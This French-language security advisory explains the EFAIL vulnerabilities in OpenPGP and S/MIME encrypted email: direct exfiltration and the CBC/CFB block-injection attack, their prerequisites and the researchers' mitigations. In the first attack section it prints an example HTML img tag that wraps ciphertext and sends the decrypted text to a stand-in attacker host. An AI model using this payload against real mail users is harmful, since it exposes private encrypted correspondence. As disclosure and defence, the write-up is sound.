EFAIL démystifiées - Publication des détails concernant les vulnérabilités affectant la confidentialité des mails chiffrés par OpenPGP et S/MIME

En début de semaine le CERT-XMCO a émis une alerte suite à la publication de deux vulnérabilités par plusieurs chercheurs en sécurité et l’EFF (Electronic Frontier Foundation). Elles affectent la confidentialité des messages chiffrés à l’aide des protocoles OpenPGP pour certains clients mail. Devant l’ampleur de la divulgation, des rumeurs et des informations qui commençaient à être explorées, les chercheurs ont avancé la date de publication et ont rendu une partie des détails disponible.

Ces deux vulnérabilités permettent, dans des scénarios d’exploitation complexes et sous certaines conditions spécifiques, mais probables, de récupérer le contenu en clair du message originellement chiffré. Il s’agit de vulnérabilités côté client, un attaquant devra alors interagir avec la victime en forgeant des mails spécialement conçus et doit avoir connaissance des messages chiffrés.

Avant de décrire plus en détail les deux vulnérabilités, nous allons brièvement revenir sur l’utilité et l’utilisation d’OpenPGP et S/MIME. Ces deux protocoles permettent de remédier à une problématique de sécurité des échanges mails en apportant une solution de chiffrement de bout en bout « end-to-end ».

Ces solutions reposent sur l’utilisation d’un chiffrement asymétrique, deux clés sont générées. Par convention de nommage :

• La clé publique permet de chiffrer les messages envoyés, elle est diffusée publiquement ;
• La clé privée permet de déchiffrer les messages envoyés ou de signer des messages émis, elle doit rester secrète.

Les protocoles mails étaient auparavant majoritairement utilisés pour des échanges en clair. Bien que cela soit encore d’actualité, de plus en plus d’infrastructures (serveurs, fournisseurs, etc.) chiffrent maintenant les échanges mails (STARTTLS par exemple pour chiffrer une partie du trafic à l’aide du protocole SSL/TLS). Mais la sécurité offerte par ces mécanismes permet d’échanger avec et entre les serveurs mail de manière sécurisée, il ne s’agit pas d’un chiffrement total de bout en bout et la compromission d’un des nœuds d’échange permet, selon la configuration, de récupérer le contenu en clair. C’est pour cela qu’OpenPGP et S/MIME sont encore très utilisés dans les échanges nécessitant une sécurité renforcée (confidentialité, intégrité, etc.).

Pour chacune des deux vulnérabilités, deux prérequis sont nécessaires :

• L’attaquant doit avoir connaissance d’au moins un mail chiffré afin d’obtenir sa version en clair (non chiffrée). Cela suppose que l’attaquant a été en mesure de dérober (sur un poste de travail ou un serveur compromis) ou d’intercepter (au travers d’interception réseau) un mail simplement chiffré avec l’un des deux protocoles OpenPGP ou S/MIME. L’utilisation d’une couche supplémentaire de chiffrement (comme SSL/TLS) permet donc, tant que ces échanges restent sécurisés, d’empêcher un attaquant de dérober les mails en question.
• L’attaquant doit envoyer un mail à la victime afin de pouvoir exécuter une des deux attaques qui s’effectuent côté client. Selon l’attaque, le client mail utilisé et sa configuration, il est possible que la simple réception et ouverture du mail suffisent à divulguer son contenu. Une interaction de l’utilisateur sera le plus souvent nécessaire avec la configuration par défaut des clients mail modernes.

La première des deux vulnérabilités suit le principe d’exfiltration directe (« direct exfiltration »)

Un attaquant ayant connaissance d’un message, mais sous sa forme chiffrée, va l’inclure au sein d’un email spécialement conçu à cet effet ou en altérant un email s’il est en capacité de l’intercepter et de le modifier. L’email résultant est au format HTML et se découpe alors en 3 parties, le début d’une balise HTML vers une entité extérieure (comme une image, un lien, etc.), le message chiffré connu de l’attaquant, puis la fin de la balise. Ce mail est ensuite envoyé à la victime. Lorsque cette dernière l’ouvre, le message chiffré qui lui était destiné est déchiffré puis le contenu HTML est interprété par le client. En générant le contenu distant, le client va alors résoudre l’adresse qui sera composée du domaine malveillant et du message en clair. Une requête est alors émise afin de charger le contenu distant, cette dernière contient le message déchiffré.

La balise malveillante est de la forme suivante :

<img src="http://attaquant.fr/ (1re partie)
message_chiffré (2e partie)
"> (3e partie)
Est alors déchiffrée :
<img src= " http://attaquant.fr/ (1re partie)
message_déchiffré (2e partie)
"> (3e partie)

Puis le code HTML est rendu et, afin de charger l’image, une requête est alors envoyée vers :
http://attaquant.fr/message_déchiffré

L’attaquant contrôlant le serveur peut ainsi récupérer le contenu déchiffré du message chiffré qu’il a envoyé à la victime.

Cette vulnérabilité est due à une faiblesse de logique et d’implémentation au sein de plusieurs clients mail (énumérés dans le papier des chercheurs). Il est important de noter que :

• L’attaquant doit avoir connaissance d’au moins un message chiffré ;
• L’attaquant doit envoyer un message à la victime ou altérer un email existant (laissant une trace) ;
• Le client de la victime doit effectuer une requête vers l’extérieur, comportement désactivé par défaut sur une majeure partie des clients modernes, nécessitant une interaction de la victime comme “autoriser le chargement du contenu distant pour ce message” ou de cliquer à l’intérieur du message.

La seconde vulnérabilité se base sur la même méthode pour exfiltrer les données

Elle vise cependant les propriétés cryptographiques des protocoles pour injecter des balises : S/MIME reposant sur un mécanisme de chiffrement CBC “Block cipher” et OpenPGP sur CFB “Cipher Feedback”. A cause de l’utilisation de CBC et CFB (chiffrement par bloc), avec la connaissance de plusieurs blocs en clair, il est possible pour un attaquant de remplacer ces derniers, et ainsi réécrire ces blocs afin d’injecter les balises HTML. Cependant, le contenu chiffré commence régulièrement par des blocs contenant des en-têtes connus comme “Content-Type: multipart/signed” donnant ainsi à un attaquant la possibilité d’injecter avec peu de difficulté du contenu dès le début du message chiffré. Le client va déchiffrer le message chiffré avec les balises injectées puis effectuer le rendu HTML tentant alors de récupérer le contenu distant et divulguant ainsi le reste du message déchiffré. Contrairement à la première vulnérabilité, cette dernière demande des connaissances de base en cryptographie ainsi que la connaissance d’un ou plusieurs “blocs” du message en clair (non chiffrés).

Cette vulnérabilité est due à une faiblesse des protocoles OpenPGP et S/MIME et l’utilisation des suites de chiffrement CBC et CFB. Il est important de noter que :

• L’attaquant doit avoir connaissance d’au moins un message chiffré ;
• L’attaquant doit envoyer ou altérer (Man-in-the-Middle) un message envoyé à la victime ;
• Le client de la victime doit effectuer une requête vers l’extérieur, comportement désactivé par défaut sur une majeure partie des clients modernes, nécessitant une interaction de la victime comme “autoriser le chargement du contenu distant pour ce message” ou de cliquer à l’intérieur du message;
• Le taux de déchiffrement est de presque 100% pour le déchiffrement de messages S/MIME, mais seulement d’un tiers dans le cas d’OpenPGP, ce dernier utilisant un système de compression, il est plus hasardeux et complexe de déterminer des blocs valides à l’heure actuelle.

Ces deux vulnérabilités demandent de nombreux prérequis énoncés précédemment

Obtenir un contexte dans lequel tous ces prérequis sont réunis est très complexe et il est donc peu probable que ces attaques soient largement exploitées. Elles demeurent cependant fonctionnelles et il est envisageable que de nouvelles versions plus efficaces voient le jour dans les prochains mois. Il est aussi plus probable que d’importants acteurs (APT, gouvernements, etc.) soient en mesure de mener des attaques ciblées contre des organisations ou des individus, car il leur est notamment plus aisé d’obtenir une partie des prérequis ou d’obtenir des positions privilégiées sur des réseaux

Quelles sont les solutions de contournement ?

Les recommandations des chercheurs sont les suivantes :

• À court terme : effectuer le déchiffrement des messages dans une application autre que le client mails qui n’effectuera pas de requêtes vers l’extérieur afin de charger le contenu distant ou de suivre des liens cachés ;
• À court terme : désactiver le rendu HTML au sein des clients mails et des ressources distantes ;
• À moyen terme : mettre à jour les clients mail vulnérables lorsque ces dernières seront disponibles ;
• À long terme : mettre à jour les implémentations d’OpenGPG et S/MIME lorsque ces dernières seront disponibles.

Note : les chercheurs stipulent que d’autres canaux d’exfiltration existent (autres que des ressources ou liens HTML) mais qu’ils sont plus compliqués à exploiter.

Note 2 : ces vulnérabilités affectent la confidentialité des messages chiffrés avec OpenPGP ou S/MIME. Elles n’impactent pas les échanges « réguliers » et non chiffrés. Elles ne concernent donc que les utilisateurs des protocoles impactés.

Référence

https://efail.de/
https://efail.de/efail-attack-paper.pdf